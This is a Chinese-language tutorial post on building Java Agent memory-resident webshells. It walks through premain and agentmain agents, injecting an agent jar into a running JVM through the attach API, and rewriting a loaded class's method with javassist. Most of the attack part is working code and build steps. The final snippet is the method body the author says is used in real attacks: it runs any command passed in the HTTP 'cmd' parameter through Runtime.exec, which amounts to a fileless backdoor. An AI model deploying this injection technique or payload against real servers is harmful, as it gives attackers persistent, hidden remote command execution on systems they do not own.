java内存马java内存马之java-agent
Sherlock参考
Java内存马Java-Agent篇
概念
一个运行中的 Java 程序运行在一个 JVM(Java 虚拟机)实例中。
Java Agent可以在程序运行时动态地修改Java字节码,进而动态地修改已加载或未加载的类、属性和方法的技术。
对于 Agent(代理)来讲,其大致可以分为两种,一种是在 JVM 启动前加载的premain-Agent,另一种是 JVM 启动之后加载的agentmain-Agent。这里我们可以将其理解成一种特殊的Interceptor(拦截器),如下图:
Premain-Agent

agentmain-Agent

Java Agent实例
环境配置
起一个默认的Maven环境。
在项目的/src/main/目录下创建resources目录,并往下创建META-INF目录,在该目录下创建MANIFEST.MF文件,目录结构如下图:
在pom.xml中添加如下代码:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35
| <build> <plugins> <plugin> <groupId>org.apache.maven.plugins</groupId> <artifactId>maven-assembly-plugin</artifactId> <version>2.6</version> <configuration> <descriptorRefs> <descriptorRef>jar-with-dependencies</descriptorRef> </descriptorRefs> <archive> <manifestFile> src/main/resources/META-INF/MANIFEST.MF </manifestFile> </archive> </configuration> <executions> <execution> <phase>package</phase> <goals> <goal>single</goal> </goals> </execution> </executions> </plugin> <plugin> <groupId>org.apache.maven.plugins</groupId> <artifactId>maven-compiler-plugin</artifactId> <configuration> <source>6</source> <target>6</target> </configuration> </plugin> </plugins> </build>
|
premain-Agent
下面的文件都放到/src/main/java目录也就是代码根目录下,要不然最后运行的时候会报URLClassLoader找不到这些类
从上面流程图可知,在运行一个类的main方法之前,会先调用指定jar包中Premain-Class类中的premain方法。
先创建一个premain-Agent类:
1 2 3 4 5 6 7 8 9
| import java.lang.instrument.Instrumentation;
public class Java_Agent_premain { public static void premain(String args, Instrumentation inst) { for (int i =0 ; i<10 ; i++){ System.out.println("premain-Sleep_Transformer"); } } }
|
MANIFEST.MF文件内容如下:
1 2
| Manifest-Version: 1.0 Premain-Class: org.example.Java_Agent_premain
|
先创建Java Agent的class文件,再打包成jar:
1 2 3 4
| REM 创建class文件 javac Java_Agent_premain.java REM 生成Java Agent的jar jar cvfm agent.jar ../../../resources/META-INF/MANIFEST.MF Java_Agent_premain.class
|
然后我们就在当前目录下看到了agent.jar包。
我们再创建一个Hello类,表示一个正常运行的程序,或者说受害程序:
1 2 3 4 5
| public class Hello { public static void main(String[] args) { System.out.println("Hello World!"); } }
|
修改一下MANIFEST.MF:
1 2
| Manifest-Version: 1.0 Main-Class: org.example.Hello
|
接着生成class,创建jar:
1 2 3 4
| REM 创建class文件 javac Hello.java REM 生成Java Agent的jar jar cvfm hello.jar ../../../resources/META-INF/MANIFEST.MF Hello.class
|
到这里为止当前目录下的文件如下所示:

我们现在要在hello.jar执行之前执行agent.jar,执行命令如下:
1
| java -javaagent:agent.jar=Hello -jar hello.jar
|
结果如下图:

agentmain-Agent
相较于premain-Agent只能在JVM启动前加载,agentmain-Agent能够在JVM启动之后加载并实现相应的修改字节码功能。
跟agentmain-Agent有关的两个类:
- com.sun.tools.attach.VirtualMachine
- com.sun.tools.attach.VirtualMachineDescriptor
VirtualMachine类可以获取JVM信息,内存dump、现成dump、类信息统计(例如JVM加载的类)等。该类的主要方法如下:
1 2 3 4 5 6 7 8 9 10 11
| VirtualMachine.attach()
VirtualMachine.loadAgent()
VirtualMachine.list()
VirtualMachine.detach()
|
VirtualMachineDescriptor类是一个用来描述特定虚拟机的类,其方法可以获取虚拟机的各种信息如PID、虚拟机名称等。
我们可以通过利用上面两个类,获得一个正常运行的JVM,并实现一些功能,比如获取JVM的PID:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17
| package Test2;
import com.sun.tools.attach.VirtualMachine; import com.sun.tools.attach.VirtualMachineDescriptor;
import java.util.List;
public class GetPID { public static void main(String[] args) { List<VirtualMachineDescriptor> vm = VirtualMachine.list(); for (VirtualMachineDescriptor vmd : vm) { if (vmd.displayName().equals("Test2.GetPID")) { System.out.println(vmd.id()); } } } }
|
运行后结果如下:

下面我们要开始进行攻击了。先创建一个Sleep_Hello类,模拟一个正常运行的程序:
1 2 3 4 5 6 7 8 9 10 11 12
| package Test2;
import static java.lang.Thread.sleep;
public class Sleep_Hello { public static void main(String[] args) throws InterruptedException { while (true){ System.out.println("Hello World!"); sleep(5000); } } }
|
然后创建一个Java_Agent_agentmain类,其作为一个Java Agent,将会被打包成jar并注入到JVM里:
1 2 3 4 5 6 7 8 9 10 11 12 13 14
| package Test2;
import java.lang.instrument.Instrumentation;
import static java.lang.Thread.sleep;
public class Java_Agent_agentmain { public static void agentmain(String args, Instrumentation inst) throws InterruptedException { while (true){ System.out.println("调用了Java Agent!"); sleep(3000); } } }
|
接下来是编译成class并一一打包成jar,我选择修改/src/main/resources/META-INF/MANIFEST.MF文件(与学习premain-Agent所使用的MANIFEST.MF路径不同)。
1 2
| Manifest-Version: 1.0 Agent-Class: Test2.Java_Agent_agentmain
|
我们前面已经把pom.xml设置好了,直接运行命令:(在idea的终端就可以了)
1
| mvn clean compile assembly:single
|
然后会在target命令下生成对应的jar:

现在有了jar,但是不可能说直接上传jar就可以攻击程序,我们需要执行一段代码,让该Java Agent注入到目标JVM里,这里就再创建一个类实现这段代码:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26
| package Test2;
import com.sun.tools.attach.*;
import java.io.IOException; import java.util.List;
public class Inject_Agent { public static void main(String[] args) throws IOException, AttachNotSupportedException, AgentLoadException, AgentInitializationException, AttachNotSupportedException, AgentLoadException, AgentInitializationException { List<VirtualMachineDescriptor> list = VirtualMachine.list(); for(VirtualMachineDescriptor vmd : list){ if(vmd.displayName().equals("Test2.Sleep_Hello")){
VirtualMachine virtualMachine = VirtualMachine.attach(vmd.id()); virtualMachine.loadAgent("Path\\to\\horses3-1.0-SNAPSHOT-jar-with-dependencies.jar"); virtualMachine.detach(); }
} } }
|
先运行Test2.Sleep_Hello,然后再运行Inject_Agent。Inject_Agent会找到Test2.Sleep_Hello对应的JVM,并把Java Agent的jar注入其中,然后Java Agent里的恶意代码就跟着执行了:

动态修改字节码 Instrumentation
动态修改字节码,直接都学过都是用javassist来进行修改的,所以我们先加上依赖
1 2 3 4 5
| <dependency> <groupId>org.javassist</groupId> <artifactId>javassist</artifactId> <version>3.27.0-GA</version> </dependency>
|
Instrumentation是JVMTIAgent(JVM Tool Interface Agent)的一部分,Java agent通过这个类和目标JVM进行交互,从而达到修改数据的效果。
该类是一个接口,其方法如下所示:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25
| public interface Instrumentation { void addTransformer(ClassFileTransformer transformer, boolean canRetransform); void addTransformer(ClassFileTransformer transformer); boolean removeTransformer(ClassFileTransformer transformer); void retransformClasses(Class<?>... classes) throws UnmodifiableClassException; boolean isModifiableClass(Class<?> theClass); @SuppressWarnings("rawtypes") Class[] getAllLoadedClasses(); long getObjectSize(Object objectToSize); }
|
这里的类转换器是ClassFileTransformer接口,该接口下只有一个方法:transform,重写该方法即可转换任意类文件,并返回新的被取代的类文件,在java agent内存马中便是在该方法下重写恶意代码,从而修改原有类文件代码逻辑,与addTransformer搭配使用。
1 2
| //增加一个Class 文件的转换器,转换器用于改变 Class 二进制流的数据,参数 canRetransform 设置是否允许重新转换。 void addTransformer(ClassFileTransformer transformer, boolean canRetransform);
|
那么如何运用到攻击中呢?前文谈到的agentmain-Agent里可以执行任意代码,那么就这么写:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16
| package Test3;
import java.lang.instrument.Instrumentation; import java.lang.instrument.UnmodifiableClassException;
public class Attack_jar { public static void agentmain(String args, Instrumentation inst) throws InterruptedException, UnmodifiableClassException { Class[] classes = inst.getAllLoadedClasses(); for (Class aClass : classes) { if (aClass.getName().equals("Test3.Sleep")) { inst.addTransformer(new Sleep_Transformer(), true); inst.retransformClasses(aClass); } } } }
|
Test3.Sleep类似Test2.Sleep_Hello类,模拟一个正常的程序:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16
| package Test3;
import static java.lang.Thread.sleep;
public class Sleep { public static void main(String[] args) throws Exception { while(true){ hello(); sleep(3000); } }
public static void hello() { System.out.println("Hello"); } }
|
Sleep_Transformer类是一个实现了ClassFileTransformer接口的类,其利用javassist修改Test3.Sleep类的hello方法:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46
| package Test3;
import javassist.ClassClassPath; import javassist.ClassPool; import javassist.CtClass; import javassist.CtMethod;
import java.lang.instrument.ClassFileTransformer; import java.lang.instrument.IllegalClassFormatException; import java.security.ProtectionDomain;
public class Sleep_Transformer implements ClassFileTransformer { @Override public byte[] transform(ClassLoader loader, String className, Class<?> classBeingRedefined, ProtectionDomain protectionDomain, byte[] classfileBuffer) throws IllegalClassFormatException { try {
ClassPool classPool = ClassPool.getDefault();
if (classBeingRedefined != null) { ClassClassPath ccp = new ClassClassPath(classBeingRedefined); classPool.insertClassPath(ccp); }
CtClass ctClass = classPool.get("Test3.Sleep"); System.out.println(ctClass);
CtMethod ctMethod = ctClass.getDeclaredMethod("hello");
String body = "{System.out.println(\"Hacker!\");}"; ctMethod.setBody(body);
byte[] bytes = ctClass.toBytecode(); return bytes;
}catch (Exception e){ e.printStackTrace(); } return null; } }
|
然后在Attack_jar类也就是Java Agent会调用Instrumentation类的retransformClasses方法重新加载Test3.Sleep类,接着生成对应的jar包,并注入到Test3.Sleep对应的JVM中。写一个类实现该过程:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27
| package Test3;
import com.sun.tools.attach.VirtualMachine; import com.sun.tools.attach.VirtualMachineDescriptor;
import java.util.List;
public class Attack_main { public static void main(String[] args) throws Exception{ List<VirtualMachineDescriptor> list = VirtualMachine.list(); for(VirtualMachineDescriptor vmd : list){ System.out.println(vmd.displayName()); if(vmd.displayName().equals("Test3.Sleep")){
VirtualMachine virtualMachine = VirtualMachine.attach(vmd.id()); virtualMachine.loadAgent("Path\\to\\horses3-1.0-SNAPSHOT-jar-with-dependencies.jar"); virtualMachine.detach(); }
} } }
|
生成jar包的配置文件MANIFEST.MF需要再添加两行,告诉JVM这个Agent支持 类重定义和类再转换(retransform)的能力。不然会报错
修改后的MANIFEST.MF:
1 2 3 4
| Manifest-Version: 1.0 Agent-Class: Test3.Attack_jar Can-Redefine-Classes: true Can-Retransform-Classes: true
|
按上面的顺序运行,结果如下:

在实战中设置的方法体一般如下所示:
1 2 3 4 5 6 7
| String body = "{" + "javax.servlet.http.HttpServletRequest request = $1\n;" + "String cmd=request.getParameter(\"cmd\");\n" + "if (cmd !=null){\n" + " Runtime.getRuntime().exec(cmd);\n" + " }"+ "}";
|